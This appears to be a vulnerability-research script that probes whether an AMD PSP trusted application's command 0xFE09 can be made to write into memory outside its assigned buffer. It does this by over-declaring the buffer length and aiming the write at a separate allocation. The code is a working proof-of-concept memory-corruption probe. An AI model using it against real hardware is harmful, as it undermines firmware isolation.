#!/usr/bin/env python3
"""Is GCP FE09's write contained by the DECLARED length, or only by the page mapping?

`fw/FINDING-GCP-FE09-CONFIGINIT-HOST-OFFSET-WRITE.md` shows the write lands anywhere inside the
declared window and aborts outside it, in both directions. That was always measured with
`cmd_buf_len` <= the allocation, so it cannot tell these apart:

  (a) the PSP checks the write against the declared length  -> a real bound
  (b) the PSP maps `cmd_buf_len` bytes and the MMU stops the rest -> no bound, just a mapping

They differ in consequence. Under (b) the host chooses the window size, so it can declare a large
window over memory holding *other* objects and aim the write at them -- a cross-object write rather
than a write confined to the request. The loader accepts any `cmd_buf_len >= 0x1000`
(`hw/ras_cmdbuflen_thresh.py`), so nothing stops a large declaration.

Two tests:

  TEST 1  one 0x8000 allocation, declare the whole 0x8000, write at offset 0x7000.
          Under (a) this is still "inside the declared window" and should land -- which only
          confirms the window scales with the declaration.

  TEST 2  the discriminator. Allocate A and B as two separate 0x1000 allocations, declare A with
          cmd_buf_len = 0x8000 so the declared window covers memory A does not own, and aim the
          write at B's offset. If B's pattern changes, the TA wrote into a different object, and
          containment is the mapping rather than any bound.

usage: AM_RESET=1 PYTHONPATH=/root/psp/tinygrad gcp_fe09_overdeclared_window.py --apply
"""
import argparse
import os
import struct
import subprocess

PAT = 0xA5A5A5A5
PATB = 0x5B5B5B5B
SEL = 0x820
LIMITS = [0x414, 0x818]


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--apply', action='store_true')
    ap.add_argument('--gcp', default='/root/psp/contall/ta_22-0-0-77_7c426e7f.bin')
    ap.add_argument('--ta-bin', default='/lib/firmware/amdgpu/psp_13_0_0_ta.bin')
    args = ap.parse_args()
    if not args.apply:
        print('dry run')
        return 0

    from tinygrad import Device
    import tinygrad.runtime.autogen.am.am as am

    adev = Device["AMD"].iface.dev_impl
    psp = adev.psp
    FAULT = [getattr(adev, 'mmMP0_SMN_C2PMSG_%d' % n) for n in range(82, 89)]

    def faults():
        try:
            return tuple(r.read() for r in FAULT)
        except Exception:
            return None

    def alloc(n):
        pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False)
        return pa, adev.paddr2mc(pa)

    app_pa, app_mc = alloc(0x80000)
    blob = open(args.gcp, 'rb').read()

    def load(shm_mc, declen):
        n = (len(blob) + 3) & ~3
        adev.vram.view(app_pa, n)[:] = blob + b'\x00' * (n - len(blob))
        adev.gmc.flush_hdp()
        c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA)
        t = c.cmd.cmd_load_ta
        t.app_phy_addr_lo, t.app_phy_addr_hi = app_mc & 0xFFFFFFFF, app_mc >> 32
        t.app_len = len(blob)
        t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = shm_mc & 0xFFFFFFFF, shm_mc >> 32
        t.cmd_buf_len = declen
        try:
            r = psp._ring_submit(c)
            return r.resp.status & 0xFFFFFFFF, r.resp.session_id
        except Exception as e:
            try:
                return int(str(e).strip().split()[-1]) & 0xFFFFFFFF, None
            except Exception:
                return -1, None

    def unload(sid):
        c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA)
        c.cmd.cmd_unload_ta.session_id = sid
        try:
            return psp._ring_submit(c).resp.status & 0xFFFFFFFF
        except Exception:
            return -1

    def fe09(sid, shm_pa, span, disp):
        buf = bytearray(struct.pack('<I', PAT) * (span // 4))
        struct.pack_into('<I', buf, 0x00, 0xFE09)
        struct.pack_into('<I', buf, 0x10, 0)
        for o in LIMITS:
            struct.pack_into('<I', buf, o, 0xFFFFFFFB)
        struct.pack_into('<I', buf, SEL, 1)
        struct.pack_into('<I', buf, 0x828, disp & 0xFFFFFFFF)
        adev.vram.view(shm_pa, span)[:] = bytes(buf)
        adev.gmc.flush_hdp()
        c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
        iv = c.cmd.cmd_invoke_cmd
        iv.session_id, iv.ta_cmd_id = sid, 0xFE09
        try:
            st = psp._ring_submit(c).resp.status & 0xFFFFFFFF
        except Exception:
            st = -1
        adev.gmc.flush_hdp()
        return st

    tab = args.ta_bin
    if not os.path.exists(tab) and os.path.exists(tab + '.zst'):
        subprocess.run(['zstd', '-d', '-f', '-o', '/tmp/ta.bin', tab + '.zst'],
                       check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        tab = '/tmp/ta.bin'
    d = open(tab, 'rb').read()
    m = d.find(b'$PS1')
    n = struct.unpack_from('<I', d, m - 0x10 + 0x14)[0]
    load_worker = d[m - 0x10:m - 0x10 + 0x200 + n]
    f0 = faults()

    print('TEST 1: one 0x8000 allocation, declared 0x8000, write far inside it')
    a_pa, a_mc = alloc(0x8000)
    st, sid = load(a_mc, 0x8000)
    print('  GCP load %#x sid=%s' % (st, sid), flush=True)
    if st == 0:
        D = 0x7000 - 0x418
        st2 = fe09(sid, a_pa, 0x8000, D)
        out = bytes(adev.vram.view(a_pa, 0x8000)[:])
        hit = struct.unpack_from('<I', out, 0x7000)[0] != PAT
        f = faults()
        print('  D -> target 0x7000: status=%#x  wrote_there=%s  fault=%s'
              % (st2, hit, 'pc=%s' % hex(f[2]) if f != f0 else 'none'), flush=True)
        if st2 == -1:
            print('  ring dead; cannot run TEST 2 in this boot', flush=True)
            return 0
        unload(sid)

    print('\nTEST 2: separate allocations, A declared 0x8000 so the window covers B')
    b_pa, b_mc = alloc(0x1000)
    c_pa, c_mc = alloc(0x1000)
    adev.vram.view(c_pa, 0x1000)[:] = bytes(struct.pack('<I', PATB) * (0x1000 // 4))
    adev.gmc.flush_hdp()
    print('  A pa=%#x mc=%#x (declared 0x8000)   B pa=%#x mc=%#x holding %#x'
          % (b_pa, b_mc, c_pa, c_mc, PATB), flush=True)
    delta = c_mc - b_mc
    print('  B is %+#x from A' % delta, flush=True)
    st, sid2 = load(b_mc, 0x8000)
    print('  GCP load %#x sid=%s' % (st, sid2), flush=True)
    if st != 0:
        return 1
    # Control first: displacement 0, so the FE09 write targets A+0x418 which is INSIDE A.
    # If B still changes, over-declaration alone is sufficient and the FE09 defect is not needed.
    st0 = fe09(sid2, b_pa, 0x1000, 0)
    adev.gmc.flush_hdp()
    ctl = bytes(adev.vram.view(c_pa, 0x1000)[:])
    ctlch = [o for o in range(0, 0x1000, 4)
             if struct.unpack_from('<I', ctl, o)[0] != PATB]
    print('  CONTROL D=0 (FE09 write stays inside A): status=%#x  B changed at %s'
          % (st0, [hex(o) for o in ctlch[:4]] or 'nowhere'), flush=True)
    if ctlch:
        print('    -> over-declaration ALONE writes outside the allocation; the FE09'
              ' displacement is not required', flush=True)
    # restore B, then aim the displacement at it
    adev.vram.view(c_pa, 0x1000)[:] = bytes(struct.pack('<I', PATB) * (0x1000 // 4))
    adev.gmc.flush_hdp()
    D = (delta + 0x40) - 0x418
    st2 = fe09(sid2, b_pa, 0x1000, D)
    adev.gmc.flush_hdp()
    outb = bytes(adev.vram.view(c_pa, 0x1000)[:])
    changed = [o for o in range(0, 0x1000, 4)
               if struct.unpack_from('<I', outb, o)[0] != PATB]
    f = faults()
    print('  aim at B+0x40 (D=%#x): status=%#x  B changed at %s  fault=%s'
          % (D & 0xFFFFFFFF, st2, [hex(o) for o in changed[:4]] or 'nowhere',
             'pc=%s' % hex(f[2]) if f != f0 else 'none'), flush=True)
    if changed:
        print('  *** CROSS-OBJECT WRITE: the TA wrote into an allocation it was never given ***',
              flush=True)
    return 0


if __name__ == '__main__':
    raise SystemExit(main())